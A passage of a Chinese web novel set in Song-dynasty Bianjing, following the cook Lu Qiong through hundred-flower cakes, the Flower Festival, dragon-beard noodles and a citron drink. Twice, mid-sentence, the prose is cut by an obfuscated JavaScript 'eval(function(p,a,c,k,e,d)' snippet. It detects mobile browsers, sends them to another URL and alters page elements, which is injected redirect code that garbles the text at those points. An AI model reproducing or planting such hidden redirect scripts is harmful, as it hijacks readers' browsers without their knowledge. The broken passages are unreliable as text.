陆琼拍了下她的手，笑道：“这下叫你偷吃，看你下回还敢不敢……” 又分出好几块，放到食盒里，余下的都放回锅里，热一些口感会更好。 庞巧娘要寻一份活做，陆琼便叫她去绣坊看看，陆记是暂时不缺人手，别的地方更合适。加上金娘也在绣坊，也有人互相帮衬。 庞巧娘自无异议，却还是有些担忧：“金娘这人如何……” 若是性子不好，她怕会处不来，那还不若到别处去，给人打打下手也行。 想到金娘，陆琼便捂嘴笑：“这你倒是放心，金娘看谁都热心，就怕你应付不过来。” 知道金娘为人和善，庞巧娘便也放下心，一连吃了好几块糯米糕，最后还沾到鼻尖上。 又是一阵打趣…… 待庞巧娘走了，陆琼也立马赶到金娘家，跟她说了这事。 如她所料，金娘高兴极了，抓着她的手：“这可太好了，我在绣坊没什么玩得来的人，都说不上话，这下终于能解闷了。” 60. 百花糕 与金娘说过此事后，庞巧娘就跟着一块去绣坊了。 宋代的绣坊分官办和民间绣坊，最出名的官办绣坊便是文绣院，专供皇室、贵族服务。 而金娘待的是民间绣坊，起初是靠牙人介绍入坊，绣庄是位长相清秀的娘子，整日待在绣坊，私下为人和善，可对待绣品却极为严苛。 好在庞巧娘针法不错，应绣庄要求在绣布上施展了平绣、打籽绣等针法，动作娴熟，绣面平整，这才叫绣庄也满意了，便留了下来。 过了上元节，程娘却极少来陆记，像是在躲着什么人，不过陆琼也没多余的心思放在她身上。 这天晚上，钱掌柜又闲的没事，自家铺子不看着，跑来陆记说要一份羊肉汤。 陆琼也见怪不怪，毕竟他这人就是难以捉摸。见杨姐儿在择菜，她便亲自去锅里舀一碗羊肉汤。 焯水的羊肉，撇去浮沫，最后放入锅里，加姜片、葱一块炖，这锅炖了一个多时辰，早就软烂了。 最后撒上葱花和一些小料，新鲜出炉的羊肉汤便能呈上桌。 在这间隙钱掌柜到处巡视，摸摸桌上有无灰，又打量了灶台的调料，最后还颇为满意地点头。 陆琼觉得他不像食客，倒他像是来“监察”的，就差领口挂个小牌。 上回推出粥底火锅时，他还说做的羊肉膻，这回倒要看他能挑出些什么毛病来。 钱掌柜也终于安分坐下，望着眼前这份色香味俱全的羊肉汤，矜持地点头，这才伸出矜贵的手，舀一勺汤。 加了姜片的羊肉汤更加暖胃，尤其是外边刮着风的时候。 这回他肉没尝几块，汤倒是喝完了，却还是随意点评几句：“肉炖得不做，入口即化，倒与上回相比有所长进，膻味也轻了……” 待他走后，杨姐儿才去收拾碗筷，一边忍不住嘲谑：“钱掌柜整日来我们铺子，他那是要倒闭了不成？” 上回说她做的羊肉膻，可是记了很久。 这话没压低声音，旁的食客便笑着道：“不论谁做的，到他面前可都是蹬鼻子骂一脸的。” 这话引起杨姐儿极大的共鸣，不过等店里忙起来，她转头便忘了这插曲。 二月初，汴京转暖，万物复苏，汴河也有了化冰的迹象。 断疤他们也快要离开汴京，临走前托陆琼做一些干粮，好带在路上吃。虽然走水路也能靠岸，可大多数时候还是在船上，开火什么的并不方便，何况也没有好厨子在身边。 是以陆琼在一早就赶去陆记，杨姐儿也被她叫过来，这会儿正靠在灶台边揉面，出了不少汗：“他们胃口也真大，一人就吃掉三四份。” 陆琼在摔打面团，木板也跟着一震，撒在表面的面粉扬了起来：“倒也算是寻常，他们忙起来便是没日没夜的。” 做了好几种饼，有肉饼、葱油饼、鸡蛋煎饼、胡饼。 做肉饼的面团加了老面，用来发酵，这样做出的饼暄软些，肉馅分羊肉和猪肉的，都分别加了葱姜水、酱、胡椒，一个饼里就塞了有不少肉馅。 断疤说不差钱，她便做多了些，各有二十份。不过也要吃点素的，就做了葱油饼，刷上油酥，到锅里煎便好了，也做了二十来份。 像鸡蛋煎饼就不能用面团来做，面粉得加多点水，调成糊状。 摊煎饼实在太香，油酥味、焦香味都混杂在一起，还有面饼的香味，陆琼刚煎万一个饼，也忍不住尝了块。 尤其是葱油饼，她擀面时还卷了几回，撕下来便起了好几层酥，两面都烙得金黄，嚼起来也有韧劲。 还给他们带了先前酿的桃酒，够他们喝上个小半月。 镖师们得先去埠头搬运货物，只能叫别人来运过去，陆琼不放心，便也跟着去。 这几日，河渠司的官员反复到汴河探查冰的厚度，等冰化至三寸以下，便准备“开河”。 日头正盛，冰层也出现龟裂，号角响起，鼓声也跟着起。数十名壮汉推着冰槎破冰而行，槎头包着铁，一碰到冰层便撞碎了冰，“咔嚓”，河心的冰便裂开，随后派人疏浚河水，避免淤塞。 见汴水流动，围观的百姓也跟着吆喝，第一艘驶入河道的船是官府的漕船，用以运送粮食，随后才是民间的商船…… 还有些机灵的小贩，趁机售卖热腾腾的姜糖水，就连陆琼等久了，也忍不住来上一碗。 别说，喝下去就舒服些，整个人都暖起来。 她怎么就没想到在这摆摊呢，又少挣了一笔…… 而断疤跟庞巧娘也没多少时间温存，便有些不舍：“巧儿，你在京中好好的，若是有人敢欺负你，我就立马回来！” 不过也是些安慰话，待出了汴京，两人也算是彻底断了联系，还不若被贬的官员，至少还有个固定的住所。 最后闲聊几句，断疤便也上了船，趁他没注意，庞巧娘还跟刘善扯上几句：“阿兄平日说话惹人烦，还请你多担待些。” 刘善脸上看不出神情，没说话，只是点头。 见他这样，庞巧娘的笑意也淡了些，说完便离开。 望着她落寞的背影，陆琼直摇头，这恐怕是妾有情而郎无意…… 埠头的人渐渐散去，街巷里又掀起新的热闹，今日除了开河，还是花朝节。 不少食铺推出百花糕，商贩则在摊位摆出簪花、花钿、上元节余下的花灯。 回来路上，陆琼还顺手买了芍药，打算摆在铺子里。 街上不少孩童手里抓了一把蒲公英，一吹，便飘到四周，有人脸上也沾了些，惹得旁人笑成一片。 百花糕，却也用不上百种花，再说惊蛰刚过，汴京盛开的花也并不多。 汴京人常做的百花糕，选用梅花瓣、玫瑰酱、梨花嫩叶，其中梅花瓣是去蕊后盐渍的，玫瑰花是糖渍的，梨花嫩叶则要焯水，不然会有股涩味，也带着毒性。 食材备好后，陆琼将花瓣与蜂蜜混合，制成花酱，还加了点桃酒的醪糟。 杨姐儿把糯米粉、粳米粉混在一起，最后撒上茯苓粉拌匀：“今年汴京的花开早了，往年这时候，汴河的迎春花还没开呢。” 方才去汴河，陆琼也见到堤岸两旁开满了嫩黄的小花，便点头附和。 米浆调完，她便撒上花酱，见浓稠了，就倒在模具里，随后上锅蒸。 杨姐儿往灶口塞了好几根柴，直到火旺了才收手。 不过蒸糕点就得用大火，不然做出的糕点会松散、发黏，大火蒸的糕点弹性也比文火高，也更省柴火。 陆琼虽不缺钱，但也是能省则省，毕竟谁会嫌钱多。 坐下歇一会，点上一盏茶，墨绿的茶面透着一股涩味，她端起来吹气，沿着茶盏杯缘小饮一口，眉头一皱，果真有些涩。 也就是一盏茶的功夫，百花糕便蒸好了，玫瑰的香味更浓，不过入口是清甜的，还很松软，与桂花糕一类的糕点口感相像。 放出炉，店里食客便买了不少，糕点一类的吃食，还真是陆记的招牌。 食客喝着桃酒，尝着百花糕，一边闲聊：“下月便是春耕，朝廷还延后了科考。” 毕竟民以食为天，虽然本朝商业兴起，但农业才是根基。 另一食客也附和着，末了还用“这桃酒香甜”收尾。 临走前，他们还打包带走几块 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15228973|157874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 百花糕，这样的食客有不少，晌午不到，做好的百花糕就全都卖光，杨姐儿也赶着做下一锅。 陆琼则在捣鼓别的茶饮，香橼切成片，泡上清水，加一点蜂蜜，有些像后世的柠檬水了，不过尝起来还是太涩、太酸，最后还是放弃了。 倒是陆萱被她哄骗得喝下一大口，最后脸都皱成一团，还不断吐舌头：“好酸……” 杨姐儿也在一旁跟着笑，笑够了才递过来一盏茶，陆萱喝下去才觉得缓过来，只是那股酸劲儿却一直消散不去。 等她再次回味，咂咂嘴，好像还真有点好喝。 不过陆琼早就拎着食盒上街去了，赶去给谢府也送些百花糕。 谢府院里的梅花开得正盛，恰好有风吹来，淡粉的梅花便落了一地。 何慕也总算是出来赏花，闲聊几句，才知谢洵去看田地了，只是要劝说百姓种木棉，还真是一件难事。 毕竟科考都得为春耕让步。 也正如她们所料，谢洵着实碰壁了。 他前脚刚走，刘婆子便往地上呸一声：“劝人不种粮食……我看这种人就该遭天谴！” 江笙装听不见，还尝着谢洵送来的糕点，这可是汴京带来的，定要不少钱，要是有一份熟水就更好了，光吃糕点有些干巴。 自从阿姐嫁人，他就吃不到好吃的糕点，自己尝试做过机会，谁知阿奶竟说他浪费粮食，最后做都不让做。 刘婆子骂完人，才觉得心里堵着的气顺了些，又见江笙还在吃，便上前拍了下他的头：“鸡喂了，地扫了？整日只知道吃。” 江笙顿时觉得无辜，想着已经带了一顿打，便将手中余下的糕点塞进嘴里，空出的手还不忘多拿几块。 气得刘婆子去拿扫帚，追着他满院子跑。 与刘婆子家的热闹相反，虞娘家则陷入一片寂静。 离姐儿觉得春耕无论种什么都无所谓，毕竟她日后要去汴京，便安心吃着糕点。 虞娘看一眼她，便转身进了屋子。 ...... 汴京街巷弥漫着花香，卖货郎担着新折下的桃枝穿行在街巷瓦肆，在湿润的青砖上留下一个个脚印。 到夜里，陆记也在墙边、门边、屋檐处挂上几盏花灯，应和着节日氛围。 陆萱还去商贩处买来花钿，贴在两颊边，一路笑着冲进来：“阿姐！过来贴花钿……” 花钿有金钿、翠钿，也有鱼鳞钿、纸钿，陆萱买的便是用五色纸剪的花子，不止给自己贴了，也给陆琼跟杨姐儿买了一份。 她脸上喜庆得很，两颊有，额上也有，就差贴满了。 这对习惯后世简洁妆容的陆琼来说是个冲击，不亚于小时候文艺汇演在脸上化红腮红…… 是以她拒绝在脸上贴着东西，没想到杨姐儿也跟着劝说，不停笑：“小娘子，今日可是花朝节，你贴了这花钿，说不准来铺子的食客就更多了……” 陆萱也一脸怨恨，好似她不同意，就要生闷气了。 许是拒绝不过，又或是想挣多点钱，陆琼叹一声，最后还是点头了。 好在只贴额上的，随后用铜镜一照，便见两眉间一抹红……还有些真不错。 先前酿的桃酒也快上完，百花糕也再一次卖光，直到半夜，食客才肯散去。 今日生意太旺，店里食客都不够位子，这也叫陆琼起心思，铺子好似有些小，或许该扩大一下店面了…… 还有另一桩奇怪事，去年说要扩张铺子的施三娘，不知何时起再也没提过。 不过最紧要的是，该从哪找适合的铺子？ 她这一想，便越发不可收拾…… 61. 龙须面 铺子的事急不来，但额上的花钿得先取下来，贴的时间久了，总觉得有些闷。好在当时是用米浆贴的，现在也容易取下来。 陆琼到灶房的木架子取一根皂荚，泡到水里，用手搓出小泡沫，一点点抹在额上，色纸做的花钿便被沾湿，一下就被手带下来。 院子里也时时传来笑声，陆萱还在陪雪儿打闹，最后两个小家伙身上都脏兮兮的。 “汪汪……”雪儿的尾巴飞快甩着，咧着嘴呼气。 陆萱承受不住它的热情，一双手忙按住它的身体：“你都要要把握扑到了。” 早春时节，除去汴河的冰化了，她们家院子的井也跟着暖起来，覆在井盖上的稻草也被她取下。 陆琼打上一桶水，把一人一狗赶到屋子里，便准备去起火烧水。 “阿姐，我今日不想洗浴……” 身后的陆萱撒着娇，陆琼也态度坚决：“前些天冷，都只擦脸了，如今你衣裳都脏了，再不洗就是只……” “鬼啊！” 刚转身便见到一个黑漆漆的人影，脸上挂着三个红色的花钿，叫她吓得不轻。 尤其是陆萱还对着她咧嘴笑，更吓人了。 方才陆琼为了省事，没点灯，现在倒是吃了亏，拍了拍胸脯，惊魂未定：“你走路没个声响？” 这下洗浴的事更是没得让步。陆萱本还想为自己辩驳几句，但见她那眼神，到嘴的话又硬生生憋回去。 临走时，还碎碎念：“怪不得程娘都走了，定是被阿姐吓跑了……” 这些天二人都睡得早，今日倒是拖到半夜才肯灭灯，不过还是得早起。 在陆琼一连呵欠几回后，杨姐儿也忍不住问：“小娘子昨夜没睡好？” 锅里的清水沸腾着，小泡不停翻滚，发出咕噜的响声，沉闷不已。 陆琼再次呵欠，眼角跟着湿润：“做了一夜的梦。” 少见她困倦的样子，杨姐儿也有些不放心，停下手中揉面的动作：“可要回去歇息？如今店里有我跟萱姐儿，定是没多大问题。” 杨姐儿近来着实能独当一面，先前连和面都要看人眼色，现在很多事都能自己做主。 前不久她不在时，杨姐儿还解决了一桩恶意闹事的，三言两语就将人唬住，根本不怕事。 陆琼也觉得欣慰，不过这会儿也清醒多了，便笑着拒绝：“倒也不必回去，这几日回春，正是食客多的时候，多挣点钱，夜里才能睡得安稳。” 见她精气神好多，杨姐儿便露出一个笑来：“那我今日就多用点劲，做多点汤饼，好叫小娘子多挣点钱。” 杨姐儿便把面团揉到光滑，揉到柔软而有弹性，才喘一口气，随后又把白花花的面团搓成长条，分成大小均匀的剂子。 每个剂子也跟着搓成长条，她把指头伸进装有猪油的陶瓮里，抹在面条上，油亮顺滑，也不粘手。 双手握住面条的两端，随后拉长，在空中甩动，面条便均匀变细，对折，再拉长，反复几次，直到面条细成丝状。 让陆琼想起龙须糖的做法。 一时手痒，便也学着她拉长面条，结果没控制到力道，中间断了几根，落在案板上还压出几道印子，身上也险些沾了粉。 旁边碾茶的陆萱幸灾乐祸，刚要大笑就碾到手，痛得她嗷嗷大叫：“疼死了！” 这下换陆琼笑话她了，最后还是心软，给她揉了揉：“叫你不用心，下回小心些。” 杨姐儿也习惯她们如此，低头笑着，随后抓一把面粉，撒在面条上，甩开多余的粉，放入烧开的水中。 锅中升起雾气，缭绕在灶台四周，杨姐儿握住木匕，轻轻搅动，细长的面条便跟着在锅中转动，渐渐变色，浮起，香味也跟着出来。 捞出过凉水，面条也会更筋道。 在调酱汁上，陆琼也算是个高手，先倒酱、醋、花椒、葱花，最后淋一层热油，加到汤面里，一碗热气腾腾的龙须面便出炉。 偏好吃荤的，也能在汤面放几块肉片，喜吃素的，便加胡瓜丝、萝卜丝。 不过做龙须面也是麻烦，陆琼学了好一会儿才能拉出稍微细一点的面条，至于中间断过几回也不必再算。 做到手腕隐隐发酸，她才肯停下来。 见杨姐儿还被热到挽起袖子来，露出的小臂也随着甩面的动作抖动，便佩服不已。 她何时才能达到这种水平…… 随着科考被延后，困在学堂的学生也有闲心出来走动，出了应天书院，刚过州桥，便说着要去尝龙须面。 碰巧有人提议去陆记，众人想到半年前的荷花酥，便不停咽口水。 二月二，龙抬头，但陆琼认为过了也能吃龙须面，左右不过是求个好意头。 不过杨姐儿的手艺真好，她吸溜一口顺滑的面条，根根细长，从头一直吸溜到尾，再饮一大口汤汁，终于圆满了！ 喝完最后一口汤，还在回味着咸香的味道，店里便进来一群书生气十足的学生。 怕不是刚从书院出来的，有几个还很眼熟，年前可没少来，一边吐槽学堂的夫子古板，一边又被吃食折服得连叹好几声。 尤其是腰间挂着靛蓝荷包那位郎君，前几日才来过吧。 陆琼把碗筷收拾好，便迎上去，笑着把他们引到空位子上。 靛蓝荷包的郎君把手中的折扇放到桌边，点了几份常点的菜，外加一碗龙须面。 “一碗龙须面，还有一份饮子。” 饮子……新改良的香橼饮还没人尝过，她方才试了，觉得不错。一边又怀疑是她对自己过于包容，可经过昨日那事，陆萱说什么也不肯再尝。 想到这，陆琼也笑得更热情：“新推出的香橼饮，可要一试？” 尚不知有何危险的郎君也笑：“那就要香橼饮，陆掌柜的厨艺我们都放心。” 陆琼满意地点头，见杨姐儿做龙须面去了，她也开始捣鼓香橼饮。 昨日选的香橼不好，壳都太硬了，这回选了能徒手捏的动的，可比起柠檬还是很硬。 她用竹刀切，也得费很大劲，手都压红才切成两份，放入小瓦罐里煮，加糖，酸味微微发酵，才转至文火。 香橼饮比龙须面早上，郎君也期待着，只是过于烫，不过也才转暖，饮子还是热的好。 沿着碗缘吹气，一股热气便迅速浮起来，糊住了郎君的脸，凉了些，他才小心地饮一口。 舔舔嘴，在陆琼和众人期盼的眼神中，又喝上一口。 靛蓝荷包的郎君对吃一事向来上心，这回也跟着咽口水，眼巴巴地看着他：“味道如何？” 他终于舍得放下碗，与桌面碰撞出声，点头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15243185|157874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道：“好喝，都赶得上酒楼做的饮子。” 评价真高！ 不过陆琼听了也开心，不管是在奉承，还是说真话，好话总叫人高兴。 来不及搭话，别的郎君又插一嘴：“陆掌柜为何不来书院掌勺，书院新来了厨子，不过手艺一般……” 书院竟然还换人了？ 陆琼有些惊讶，还以为书院里的职位都是铁饭碗，不过她也不想困在一隅里，还是现在的生活适合她。 便笑着：“说不准是新厨子还没适应，总要时间磨合。” 靛蓝荷包的郎君也点头，思索过后才道：“昨日做的胡饼就不错，味道好多了。” 话音一落，他又开始打趣：“陆掌柜手艺这般好，若是开酒楼了，一定比芸香楼还旺。” 年轻郎君的嘴就是甜。 陆琼被他们哄得说不出话来，笑到脸发僵，随后才轻轻揉了揉脸颊。 直到他们离去，她都还在想着开酒楼的事，可像芸香楼那般倒是异想天开了，不过扩大店面的事得提上日程了。 汴京的第一场春雨，来得巧，也来得不巧。 得益与这场雨，陆琼可以光明正大地睡懒觉，可也会感到愧疚，若是有食客满怀期待地冒雨而来，却发现闭店了，该有多失落。 许是受她情绪感染，雪儿也难得没有到处乱跑，乖乖地趴在她脚边。 春困了…… 她也怀着愧疚进入梦乡。 雨后的空气不仅湿润，还混杂着泥土的气息，就连院子的枯树也长出新芽。 去年藏在地窖的萝卜还剩了些，虽然不新鲜，但还能拿来炖汤。 陆萱也跟着饿了，便缠着陆琼做牛肉炖萝卜。 选了一根正够两人吃的萝卜，刚准备削皮，陆萱却拉住她的手，讨好地笑：“阿姐……能不能再多拿一根？” 陆琼抽回手：“这萝卜很大，两根就有些多了。” “不多，我一人就能吃光。” 有些反常，但为了弄清她在做什么妖，陆琼就顺着她点头：“牛肉可要放多些？” “要！” 陆琼迫不及待点头，随后也意识到自己过于激动，才冷静下来，勾着手指，一脸腼腆：“还是依阿姐的。” 洗了萝卜，削好皮，切成块，放在一边备用，生萝卜的辛味也久久不能散去。 切好的牛肉馅放锅里，加酒、姜片，在水里煮至变色，捞出来备用，再放热锅里炒熟，加调料炒出香味，炒出焦黄色。 见差不多了，陆琼便抬头，陆萱也很有眼力见地捧着水来，倒进锅里，没过牛肉。 等煮开后，陆琼便把柴火减去一些，用小火炖上半个时辰。 炖好后，萝卜才跟着倒入，等到萝卜软烂，牛肉也酥烂，便发出“噗噗”的轻响，而锅里的小泡不断冒出又破裂。 香味鲜甜，是萝卜、牛肉混杂在一起的独特味道。 陆琼舀一勺汤汁，咂咂嘴，咸淡适宜，若是有丸子会更好。 至于肉，她选的是牛腱子肉，这块筋膜多，不过炖了后只会更软糯，还很有弹性，更爽口。 出锅后，陆萱也帮忙端到桌上。陆琼也拿出年前剩下的桃酒，二人坐在堂屋，听屋檐下的雨声，淅淅沥沥下着。 桃子的香气萦绕其间，还带着清甜。